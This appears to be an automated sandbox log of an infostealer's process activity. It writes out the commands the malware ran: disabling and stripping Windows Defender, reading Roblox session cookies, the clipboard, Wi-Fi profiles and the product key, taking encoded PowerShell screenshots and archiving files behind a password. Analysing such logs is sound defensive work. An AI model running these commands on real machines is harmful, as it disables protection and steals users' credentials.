Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y1aqvv5e\y1aqvv5e.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD5AE.tmp" "c:\Users\user\AppData\Local\Temp\y1aqvv5e\CSCACBE0D10893A4D738567997C9D36227A.TMP"
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI74482\rar.exe C:\Users\user~1\AppData\Local\Temp\_MEI74482\rar.exe a -r -hp"amnesia" "C:\Users\user~1\AppData\Local\Temp\bOAlC.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Users\user\Desktop\svchost.exe	Process created: C:\Users\user\Desktop\svchost.exe "C:\Users\user\Desktop\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe C:\Users\user~1\AppData\Local\Temp\_MEI57402\Build.exe -pbeznogym	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process created: C:\ProgramData\Microsoft\hacn.exe "C:\ProgramData\Microsoft\hacn.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe	Process created: C:\ProgramData\Microsoft\based.exe "C:\ProgramData\Microsoft\based.exe"	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Process created: C:\ProgramData\Microsoft\hacn.exe "C:\ProgramData\Microsoft\hacn.exe"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\ProgramData\Microsoft\based.exe "C:\ProgramData\Microsoft\based.exe"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\tree.com tree /A /F	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgAC